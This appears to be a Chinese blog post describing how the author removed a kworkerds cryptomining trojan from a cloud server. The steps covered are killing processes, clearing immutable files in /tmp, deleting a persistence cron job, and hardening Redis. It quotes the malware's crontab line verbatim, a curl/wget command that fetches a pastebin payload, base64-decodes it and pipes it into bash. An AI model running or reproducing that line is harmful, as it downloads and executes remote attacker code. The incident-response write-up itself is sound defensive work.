记录一次解决kworkerds挖矿木马的过程

版权声明:本文为原创文章,转载请标明出处。 https://blog.csdn.net/u013467442/article/details/88937381

1.楔子

阿里云的服务器发生了SSH链接特别慢,上去后发现CPU占用100%,好像和进程【 kworkerds】有关。停止进程后,CPU正常,稍候又会自动重启,CPU又100%。这是中毒的症状,于是记录下这个过程。
病毒kworkerds又叫挖矿,中毒的服务器一般都是现实cpu 100%。

2. 定位问题

使用Top命令查看CPU的使用情况,如下所示:
在这里插入图片描述

阿里云上的监视器显示如下:
在这里插入图片描述
很明显一个叫做kworkerds的程序占据了几乎所有的CPU。
看下kworkerds进程的具体信息ps aux|grep kworkerds|grep -v grep如下所示:
在这里插入图片描述
上图显示出多很多个kworkerds进程在干坏事,可执行程序的位置在/tmp/kworkerds/
这里在使用ps aux|grep kworkerds|grep -v grep|wc -l命令看下到底有多少个这样的进程,下图显示为222个,好恐怖!!!
在这里插入图片描述

3. 解决问题

3. 1KILL掉进程

一个很自然的解决方式就是把这些进程KILL掉,于是执行下面的KILL掉这些进程命令:
ps aux|grep kworkerds|grep -v grep|cut -c 9-15|xargs kill -9

几个命令:
"ps - ef"是linux 里查看所有进程的命令。这时检索出的进程将作为下一条命令"grep mcfcm_st"的输入。
"grep mcfcm_st"的输出结果是,所有含有关键字"mcfcm_st"的进程,这是Oracle数据库中远程连接进程的共同特点。
"grep -v grep"是在列出的进程中去除含有关键字"grep"的进程。
"cut -c 9-15"是截取输入行的第9个字符到第15个字符,而这正好是进程号PID。
"xargs kill -9"中的xargs命令是用来把前面命令的输出结果(PID)作为"kill -9"命令的参数,并执行该令。

执行后发现CPU确实降了下来,这是我以为这个病毒就这样被我解决掉了,这也太弱爆了吧,最后我发现我真是Too Young Too Simple.这些进程过一会又死灰复燃了。如下图所示:
在这里插入图片描述在这里插入图片描述
备注:还有几个可疑的python进程,干啥的不知道,同样删除这些python进程

3. 2 删掉病毒文件

于是我想到病毒的可执行文件没有删除,病毒文件在/tmp下,比如thisxxs kworkerds等文件都是病毒文件。如下:
在这里插入图片描述

于是执行 : rm -rf /tmp/*删除掉所有的病毒文件。
但是执行的过程中发现一些文件不能被删除,提示没有权限,什么???root用户竟然会有没有权限?我惊呆了,后仔细分析发先了问题之所在,原来文件自带i属性,难怪删不了。
在这里插入图片描述
在这里插入图片描述

您是全能root用户,居然系统告诉您操作不允许,是Linux疯了么?当然不是,如果您会用lsattr命令,问题就有了答案。
秘密终于暴露了,在lsattr命令下,t文件带有一个"i"的属性,所以才不可以删除,这个属性专门用来保护重要的文件不被删除,通常的情况下,懂得用这几个命令的

i :这个i可就很厉害了。它可以让一个文件“不能被删除、改名,设置连接也无法写入或添加据。” 对于系统安全性有相当大的 
帮助。只有root能设置此属性。
通常系统管理员有能力判断这个文件是否可以被删除。
详细参考:https://blog.csdn.net/JJuStudent/article/details/72805676

于是执行chattr -i thisxxs去掉i属性,之后就可完美删除掉。
在这里插入图片描述
在这里插入图片描述

3. 3 清除定时任务

病毒进程会过一段时间重新启动,于是想到有定时任务,执行crontab -l发现果然有定时任务如下:
在这里插入图片描述
定时任务内容如下:

* /23 * * * *   (curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash

在执行crontab -r或者crontab -e删除和修改定时任务时,发现和上面一样,有i属性,不能操作。去掉i属性后即可删除掉定时任务。
在这里插入图片描述
定时任务呗删除干净:
在这里插入图片描述

3. 4 结果

不断执行上面的三部:杀进程、删文件、删定时任务,redis关掉等一些乱七八糟的操作后(删了很多文件),后顺利解决。
结果如下:
在这里插入图片描述

4.结论

后面总结了如果是病毒一般遇到的方式:
1.查看各项资源占用情况
2.查看定时任务
3.查看tmp目录下的隐藏文件
4.查看系统日志。(之前系统日志被人为删除,后面估计是病毒中已经把真实ip和密钥泄露)
5.kworkerds病毒大部分是通过redis端口,弱密码进来,所以服务器redis最好是修改端口,iptables做拦截,密码要做复杂,买了两台阿里云做主备同时被感染,都是装了redis,后面买阿里云的redis后没有情况发生了。
6.被感染的机子有条件最好重做系统,彻底清除,没有条件,最好更换公网ip,ssh的端口和其他敏感端口,防止黑客入侵盗取数据

猜你喜欢

转载自blog.csdn.net/u013467442/article/details/88937381